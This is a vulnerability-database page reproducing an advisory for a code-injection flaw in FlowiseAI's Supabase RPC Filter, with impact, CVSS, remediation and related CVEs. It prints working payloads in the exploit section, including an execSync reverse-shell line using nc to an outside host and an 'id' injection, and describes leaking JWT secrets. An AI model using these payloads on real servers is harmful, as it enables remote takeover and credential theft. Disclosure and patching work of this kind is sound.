CVE-2025-57164 — Vulnerability in flowise — CVE Details
FlowiseAI Pre-Auth Arbitrary Code Execution
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.78%). Schedule for your next planned update.
Does your project use an affected flowise version?
Paste your package-lock.json to check it for CVE-2025-57164 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
An authenticated admin user of FlowiseAI can exploit the Supabase RPC Filter component to execute arbitrary server-side code without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's execSync() to launch reverse shells, access environment secrets, or perform any OS-level command execution.
This results in full server compromise and severe breach of trust boundaries between frontend input and backend execution logic.
Details
FlowiseAI includes a component called Supabase.ts, located at: packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237
This creates a function from user-provided string supabaseRPCFilter with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed immediately when the node is triggered.
Exploit
We configured our environment to use Supabase entities as follows:
To confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:
This results in the JWT secret being printed to the frontend, confirming access to server-side environment variables.
Subsequently, a reverse shell was successfully established using:
filter(process.mainModule.require("child_process").execSync("nc [REDACTED] 9999 -e /bin/sh"), "gt", 5)
This proves arbitrary OS-level command execution is possible within the FlowiseAI backend runtime context.
Steps to Reproduce
-
Deploy a FlowiseAI instance with the Supabase vector store enabled.
-
Login as an admin user.
-
Drag in a
Supabasenode and configure "Supabase RPC Filter". -
Insert a malicious payload in the filter expression, such as:
process.mainModule.require("child_process").execSync("id") -
Trigger the chatbot or workflow to activate the node.
-
Observe execution of arbitrary code on the backend.
Impact
- Remote Code Execution (RCE): Full OS-level code execution from frontend user input.
- Environment Leakage: Access to sensitive env variables like
JWT_REFRESH_TOKEN_SECRET. - Reverse Shells: Ability to connect out of the server and gain interactive remote shell access.
- Persistence Risk: Attacker can install malware, establish persistence, or exfiltrate data.
- LLM Prompt Tampering: Malicious outputs may be injected back into LLM chains.
Trust Boundary Violation
The vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (supabaseRPCFilter) becomes part of compiled JavaScript logic, blending user-controlled input with trusted backend execution.
This violates OWASP LLM Top 10 - LLM-06: Sensitive Code Execution, especially in low-code / visual LLM agents.
Evidence
Environment variable leakage via malformed JSON
Reverse shell successfully triggered using attacker-controlled input
Credit
This report was prepared by Team 404 Not Found 퇴근 (WhiteHat School 3rd cohort, South Korea)
Advisory Timeline
- First published September 15, 2025 (437 days ago).
- Last revised October 17, 2025 — 32 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
npm install flowise@3.0.6
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: npm (1).
| Package | Fixed In |
|---|---|
| flowise npm · Affected: 3.0.5 | 3.0.6 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-94Code InjectionMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
References
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-7944-7c6r-55vvWEB
- https://nvd.nist.gov/vuln/detail/CVE-2025-57164ADVISORY
- https://github.com/FlowiseAI/FlowisePACKAGE
- https://github.com/FlowiseAI/Flowise/blob/flowise%403.0.5/packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237WEB
- https://github.com/FlowiseAI/Flowise/blob/main/packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237WEB
- https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6WEB
Frequently Asked Questions
- What is CVE-2025-57164?
- FlowiseAI Pre-Auth Arbitrary Code Execution. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
- How do I check if my project is affected by CVE-2025-57164?
- CVE-2025-57164 affects flowise. It has a 0.8% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-57164 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is an above-median EPSS score — 52.5% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.
Also Known As
Related CVEs
- CVE-2025-50538CRITICAL
Flowise is vulnerable to stored XSS via "View Messages" allows credential theft in FlowiseAI admin panel
- CVE-2025-71324CRITICAL
Flowise has an Arbitrary File Read
- CVE-2026-73483CRITICAL
Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
- CVE-2026-46442CRITICAL
FlowiseAI: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape
- CVE-2026-41137CRITICAL
Flowise: Code Injection in CSVAgent leads to Authenticated RCE
- CVE-2026-40933CRITICAL
Flowise: Authenticated RCE Via MCP Adapters
- CVE-2026-70472HIGH
Flowise: Cross-workspace credential IDOR in openai-assistants-vector-store
- CVE-2026-30823HIGH
Flowise has IDOR leading to Account Takeover and Enterprise Feature Bypass via SSO Configuration